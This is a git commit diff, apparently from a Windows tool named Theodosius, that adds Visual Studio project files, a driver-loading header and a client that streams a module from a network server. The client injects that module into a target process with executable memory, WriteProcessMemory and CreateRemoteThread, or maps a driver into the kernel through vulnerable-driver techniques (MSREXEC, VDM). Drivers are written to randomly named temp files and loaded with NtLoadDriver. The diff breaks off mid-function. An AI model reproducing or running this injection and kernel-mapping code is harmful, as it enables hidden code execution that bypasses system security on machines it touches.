added server/client example that works with all other demos

2.0
_xeroxz 4 years ago
parent be947aba63
commit 7f58b51736

@ -0,0 +1,175 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{490558cd-7fd5-4e6b-af9a-334eefa86ecd}</ProjectGuid>
<RootNamespace>TheodosiusClient</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_WINSOCK_DEPRECATED_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>Ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_WINSOCK_DEPRECATED_NO_WARNINGS;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>Ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="client.cpp" />
<ClCompile Include="main.cpp" />
<ClCompile Include="msrexec\msrexec.cpp" />
<ClCompile Include="vdm\vdm_ctx.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="client.hpp" />
<ClInclude Include="loadup.hpp" />
<ClInclude Include="msrexec\ia32.hpp" />
<ClInclude Include="msrexec\msrexec.hpp" />
<ClInclude Include="msrexec\raw_driver.hpp" />
<ClInclude Include="msrexec\syscall_handler.h" />
<ClInclude Include="msrexec\vdm.hpp" />
<ClInclude Include="utils.hpp" />
<ClInclude Include="vdm\raw_driver.hpp" />
<ClInclude Include="vdm\vdm.hpp" />
<ClInclude Include="vdm\vdm_ctx.hpp" />
</ItemGroup>
<ItemGroup>
<MASM Include="msrexec\syscall_handler.asm">
<FileType>Document</FileType>
</MASM>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

@ -0,0 +1,79 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Header Files\vdm">
<UniqueIdentifier>{93bb5bf3-c86c-4015-af08-ab18a2cb53ef}</UniqueIdentifier>
</Filter>
<Filter Include="Header Files\msrexec">
<UniqueIdentifier>{850a83e4-6a8d-4e43-b4ac-61e33684306f}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\msrexec">
<UniqueIdentifier>{3e860da9-aa94-415e-895c-6ef8fd8a4d9f}</UniqueIdentifier>
</Filter>
<Filter Include="Source Files\vdm">
<UniqueIdentifier>{3dc90298-3937-43af-9583-880ca81c26c4}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="client.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="msrexec\msrexec.cpp">
<Filter>Source Files\msrexec</Filter>
</ClCompile>
<ClCompile Include="vdm\vdm_ctx.cpp">
<Filter>Source Files\vdm</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="client.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="loadup.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="utils.hpp">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="msrexec\msrexec.hpp">
<Filter>Header Files\msrexec</Filter>
</ClInclude>
<ClInclude Include="msrexec\raw_driver.hpp">
<Filter>Header Files\msrexec</Filter>
</ClInclude>
<ClInclude Include="msrexec\syscall_handler.h">
<Filter>Header Files\msrexec</Filter>
</ClInclude>
<ClInclude Include="msrexec\vdm.hpp">
<Filter>Header Files\msrexec</Filter>
</ClInclude>
<ClInclude Include="vdm\raw_driver.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="vdm\vdm_ctx.hpp">
<Filter>Header Files\vdm</Filter>
</ClInclude>
<ClInclude Include="msrexec\ia32.hpp">
<Filter>Header Files\msrexec</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<MASM Include="msrexec\syscall_handler.asm">
<Filter>Source Files</Filter>
</MASM>
</ItemGroup>
</Project>

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

@ -0,0 +1,70 @@
#include "client.hpp"
namespace theo
{
client::client
(
SOCKET client_socket,
const theo::theo_data& init_packet,
const mapper_routines_t& routines
)
:
client_socket(client_socket),
alloc(std::get<0>(routines)),
mcopy(std::get<1>(routines)),
resolver(std::get<2>(routines))
{
// send first packet to the server... this is an init packet...
if (send(client_socket, reinterpret_cast<const char*>(
&init_packet), sizeof init_packet, NULL) == SOCKET_ERROR)
std::printf("[!] failed to send init packet... reason = %d\n",
WSAGetLastError());
}
std::uintptr_t client::handle() const
{
theo::theo_data packet;
memset(&packet, NULL, sizeof packet);
while (recv(client_socket, reinterpret_cast<char*>(
&packet), sizeof packet, MSG_WAITALL) != SOCKET_ERROR)
{
switch (packet.type)
{
case theo::theo_packet_type::alloc_memory:
{
packet.alloc.addr = alloc(packet.alloc.alloc_size);
break;
}
case theo::theo_packet_type::copy_memory:
{
mcopy(packet.copy_memory.dest_addr,
packet.copy_memory.data, packet.copy_memory.size);
break;
}
case theo::theo_packet_type::resolve_symbol:
{
packet.resolve.symbol_addr =
resolver(packet.resolve.symbol);
break;
}
case theo::theo_packet_type::disconnect:
{
const auto result = packet.entry_point;
closesocket(client_socket);
return result;
}
}
send(client_socket, reinterpret_cast<char*>(
&packet), sizeof packet, NULL);
memset(&packet, NULL, sizeof packet);
}
std::printf("[+] socket closed with reason = %d\n",
WSAGetLastError());
return {};
}
}

@ -0,0 +1,91 @@
#pragma once
#include <winsock2.h>
#include <Windows.h>
#include <cstdint>
#include <cstddef>
#include <functional>
// if you change this, make sure
// to change it in the client also...
#define PACKET_DATA_SIZE 0x1000
// max symbol string size... if you
// change this update the client also...
#define PACKET_SYMBOL_SIZE 0x1000
namespace theo
{
enum class theo_packet_type
{
init,
alloc_memory,
resolve_symbol,
copy_memory,
disconnect
};
enum class theo_file_type
{
demo_drv,
demo_dll,
demo_imgui
};
#pragma pack(push, 1)
typedef struct _theo_data
{
theo_packet_type type;
union
{
theo_file_type file;
std::uintptr_t entry_point;
struct
{
void* addr;
std::size_t alloc_size;
} alloc;
struct
{
void* dest_addr;
std::size_t size;
std::uint8_t data[PACKET_DATA_SIZE];
} copy_memory;
struct
{
std::uintptr_t symbol_addr;
std::size_t symbol_size;
char symbol[PACKET_SYMBOL_SIZE];
} resolve;
};
} theo_data, * ptheo_data;
#pragma pack(pop)
using malloc_t = std::function<decltype(malloc)>;
using memcpy_t = std::function<decltype(memcpy)>;
using resolve_symbol_t = std::function<std::uintptr_t(const char*)>;
using mapper_routines_t = std::tuple<malloc_t, memcpy_t, resolve_symbol_t>;
class client
{
public:
explicit client
(
SOCKET client_socket,
const theo::theo_data& init_packet,
const mapper_routines_t& routines
);
// returns entry point...
std::uintptr_t handle() const;
private:
SOCKET client_socket;
malloc_t alloc;
memcpy_t mcopy;
resolve_symbol_t resolver;
};
}

@ -0,0 +1,263 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <ntstatus.h>
#include <time.h>
#pragma comment(lib, "ntdll.lib")
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline auto delete_service_entry(const std::string& service_name) -> bool
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*)drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
inline auto enable_privilege(const std::wstring& privilege_name) -> bool
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline auto get_service_image_path(const std::string& service_name) -> std::string
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" +
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return NtLoadDriver(&driver_reg_path_unicode);
}
inline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
std::srand(std::time(0));
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline auto unload(const std::string& service_name) -> NTSTATUS
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_result =
NtUnloadDriver(&driver_reg_path_unicode);
util::delete_service_entry(service_name);
// sometimes you cannot delete the driver off disk because there are still handles open
// to the driver, this means the driver is still loaded into the kernel...
try
{
std::filesystem::remove(
std::filesystem::temp_directory_path()
.string() + service_name);
}
catch (std::exception& e)
{
return STATUS_ABANDONED;
}
return unload_result;
}
}

@ -0,0 +1,517 @@
#include <iostream>
#include <ws2tcpip.h>
#include <Psapi.h>
#include <map>
#include <filesystem>
#include "client.hpp"
#include "msrexec/msrexec.hpp"
#include "msrexec/vdm.hpp"
#include "vdm/vdm_ctx.hpp"
using map_symbols_t = std::map<std::string, std::pair<std::uint32_t, std::uint32_t>>;
using extern_symbols_t = std::vector<std::pair<std::string, map_symbols_t>>;
auto get_map_symbols(std::string map_path) -> map_symbols_t
{
std::ifstream map_file(map_path);
if (!map_file.is_open())
return { {}, {} };
std::string line;
map_symbols_t result;
while (std::getline(map_file, line))
{
const auto colon_index = line.find(":");
if (colon_index == std::string::npos)
break;
const auto section_number =
std::strtoul(line.substr(1,
colon_index).c_str(), NULL, 16);
const auto section_offset =
std::strtoull(line.substr(
colon_index + 1, 16).c_str(), NULL, 16);
auto symbol = line.substr(
colon_index + 16 + 8,
line.length() - (colon_index + 16 + 7));
symbol[symbol.length()] = '\0';
result[symbol] = { section_number, section_offset };
}
return result;
}
int __cdecl main(int argc, char** argv)
{
if (argc <= 5)
{
std::printf("[!] invalid usage... please review the following:\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDll --pid 14234\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoImGui --pid 14234\n");
std::printf("\t\t> --pid, provide a process id to inject into...\n");
std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n");
std::printf("\t\t> --port, port number to connect too...\n");
std::printf("\t\t> --DemoDll, streams demo dll...\n");
std::printf("\t\t> --DemoImGui, streams demo imgui project...\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --MSREXEC --maps ntoskrnl.exe.map\n");
std::printf("\t> client.exe --ip 127.0.0.1 --port 1234 --DemoDrv --VDM --maps ntoskrnl.exe.map\n");
std::printf("\t\t> --pid, provide a process id to inject into...\n");
std::printf("\t\t> --ip, must be specific I.E 127.0.0.1...\n");
std::printf("\t\t> --MSREXEC, use MSREXEC to map the driver...\n");
std::printf("\t\t> --VDM, use VDM to map the driver...\n");
std::printf("\t\t> --maps, map files for unexported symbols...\n");
std::printf("\t\t> --DemoDrv, maps demo driver into the kernel...\n");
return -1;
}
int result{};
SOCKET client_socket;
WSADATA startup_data;
ADDRINFOA addr_info, * addr_result = nullptr;
memset(&addr_info, NULL, sizeof addr_info);
if ((result = WSAStartup(MAKEWORD(2, 2), &startup_data)))
{
std::printf("[!] failed to startup wsa... reason = %d\n", result);
return -1;
}
if ((result = getaddrinfo(argv[2], argv[4], &addr_info, &addr_result)))
{
std::printf("[!] failed to get address info = %s:%s, reason = %d\n",
argv[2], argv[4], result);
return -1;
}
if ((client_socket = socket(addr_result->ai_family,
addr_result->ai_socktype, addr_result->ai_protocol)) == INVALID_SOCKET)
{
std::printf("[!] failed to create socket... reason = %d\n",
WSAGetLastError());
return -1;
}
if ((result = connect(client_socket, addr_result->ai_addr,
addr_result->ai_addrlen)) == SOCKET_ERROR)
{
std::printf("[!] failed to connect to server... reason = %d\n",
WSAGetLastError());
return -1;
}
std::printf("[+] connected to theo server (%s:%s)\n",
argv[2], argv[4]);
theo::theo_data packet;
packet.type = theo::theo_packet_type::init;
// determine which file we are asking to map...
for (auto idx = 0u; idx < argc; ++idx)
{
if (!strcmp(argv[idx], "--DemoDll"))
{
packet.file = theo::theo_file_type::demo_dll;
break;
}
else if (!strcmp(argv[idx], "--DemoDrv"))
{
packet.file = theo::theo_file_type::demo_drv;
break;
}
else if (!strcmp(argv[idx], "--DemoImGui"))
{
packet.file = theo::theo_file_type::demo_imgui;
break;
}
}
switch (packet.file)
{
case theo::theo_file_type::demo_dll:
case theo::theo_file_type::demo_imgui:
{
std::uint32_t pid_offset = 0u, pid = 0u;
for (auto idx = 3; idx < argc; ++idx)
if (!strcmp(argv[idx], "--pid"))
pid_offset = idx + 1;
if (!pid_offset || !(pid = std::atoi(argv[pid_offset])))
{
std::printf("[!] invalid pid...\n");
return -1;
}
const auto phandle =
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (phandle == INVALID_HANDLE_VALUE)
{
std::printf("[!] failed to open handle...\n");
return -1;
}
theo::malloc_t _alloc = [&](std::size_t size) -> void*
{
const auto result = VirtualAllocEx
(
phandle,
nullptr,
size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
if (!result)
{
std::printf("[!] failed to allocate virtual memory...\n");
exit(-1);
}
return result;
};
theo::memcpy_t _memcpy =
[&](void* dest, const void* src, std::size_t size) -> void*
{
SIZE_T bytes_handled;
if (!WriteProcessMemory(phandle, dest, src, size, &bytes_handled))
{
std::printf("[!] failed to write memory... reason = 0x%x\n", GetLastError());
std::getchar();
}
return dest;
};
theo::resolve_symbol_t _resolver =
[&](const char* symbol_name) -> std::uintptr_t
{
static std::map<std::string, std::uintptr_t> symbol_table;
if (!symbol_table[symbol_name])
{
auto loaded_modules = std::make_unique<HMODULE[]>(64);
std::uintptr_t result = 0u, loaded_module_sz = 0u;
if (!EnumProcessModules(phandle,
loaded_modules.get(), 512, (PDWORD)&loaded_module_sz))
return {};
for (auto i = 0u; i < loaded_module_sz / 8u; i++)
{
wchar_t file_name[MAX_PATH] = L"";
if (!GetModuleFileNameExW(phandle,
loaded_modules.get()[i], file_name, _countof(file_name)))
continue;
if ((result = reinterpret_cast<std::uintptr_t>(
GetProcAddress(LoadLibraryW(file_name), symbol_name))))
break;
}
symbol_table[symbol_name] = result;
return result;
}
return symbol_table[symbol_name];
};
theo::client mapper(client_socket, packet, { _alloc, _memcpy, _resolver });
std::printf("[+] streaming module...\n");
const auto module_entry =
reinterpret_cast<LPTHREAD_START_ROUTINE>(
mapper.handle());
std::printf("[+] module entry -> 0x%p\n", module_entry);
if (module_entry)
{
std::uint32_t tid = 0u;
CreateRemoteThread(phandle, NULL,
NULL, module_entry, NULL, NULL, (LPDWORD)&tid);
}
break;
}
case theo::theo_file_type::demo_drv:
{
std::uint32_t maps_offset = 0u;
std::vector<std::pair<std::string, map_symbols_t>> extern_symbols;
for (auto idx = 5; idx < argc; ++idx)
{
if (!strcmp(argv[idx], "--maps"))
{
maps_offset = idx + 1;
break;
}
}
if (maps_offset)
{
for (auto idx = maps_offset; idx <= argc - 1; ++idx)
{
extern_symbols.push_back
({
std::filesystem::path(argv[idx]).stem().string(),
get_map_symbols(argv[idx])
});
}
}
std::printf("[+] number of map files = %d\n", extern_symbols.size());
for (auto idx = 0u; idx < extern_symbols.size(); ++idx)
std::printf("[+] %s number of symbols = %d\n",
extern_symbols[idx].first.c_str(), extern_symbols[idx].second.size());
theo::resolve_symbol_t _kresolver =
[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t
{
std::uintptr_t result = 0u;
for (auto& [drv_name, drv_symbols] : extern_symbols)
{
// each kernel module... find a driver with a matching map file name...
// I.E ntoskrnl.exe.map == ntoskrnl.exe...
utils::kmodule::each_module
(
[&, &drv_name = drv_name, &drv_symbols = drv_symbols]
(PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
{
const auto _drv_name =
reinterpret_cast<const char*>(
drv_info->OffsetToFileName + drv_info->FullPathName);
// if this is the driver, load it, loop over its sections
// calc the absolute virtual address of the symbol...
if (!strcmp(_drv_name, drv_name.c_str()))
{
const auto drv_load_addr =
reinterpret_cast<std::uintptr_t>(
LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES));
std::uint32_t section_count = 1u;
utils::pe::each_section
(
[&, &drv_symbols = drv_symbols]
(PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool
{
if (section_count == drv_symbols[symbol_name].first)
{
result = reinterpret_cast<std::uintptr_t>(drv_info->ImageBase) +
section_header->VirtualAddress + drv_symbols[symbol_name].second;
// we found the symbol...
return false;
}
++section_count;
// keep going over sections...
return true;
}, drv_load_addr
);
}
// keep looping over modules until we resolve the symbol...
return !result;
}
);
}
// if the symbol was not resolved in any of the map files then try
// to see if its an export from any other drivers...
if (!result)
{
utils::kmodule::each_module
(
[&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
{
const auto drv_name =
reinterpret_cast<const char*>(
drv_info->OffsetToFileName + drv_info->FullPathName);
// false if we found the symbol...
return (!(result = utils::kmodule::get_export(drv_name, symbol_name)));
}
);
}
return result;
};
for (auto idx = 0u; idx < argc; ++idx)
{
if (!strcmp(argv[idx], "--MSREXEC"))
{
const auto [drv_handle, drv_key, drv_status] = msrexec::load_drv();
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
{
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
return -1;
}
writemsr_t _write_msr =
[&](std::uint32_t key, std::uint64_t value) -> bool
{
return msrexec::writemsr(key, value);
};
vdm::msrexec_ctx msrexec(_write_msr);
theo::malloc_t _kalloc = [&](std::size_t size) -> void*
{
void* alloc_base;
msrexec.exec
(
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
using ex_alloc_pool_t =
void* (*)(std::uint32_t, std::size_t);
const auto ex_alloc_pool =
reinterpret_cast<ex_alloc_pool_t>(
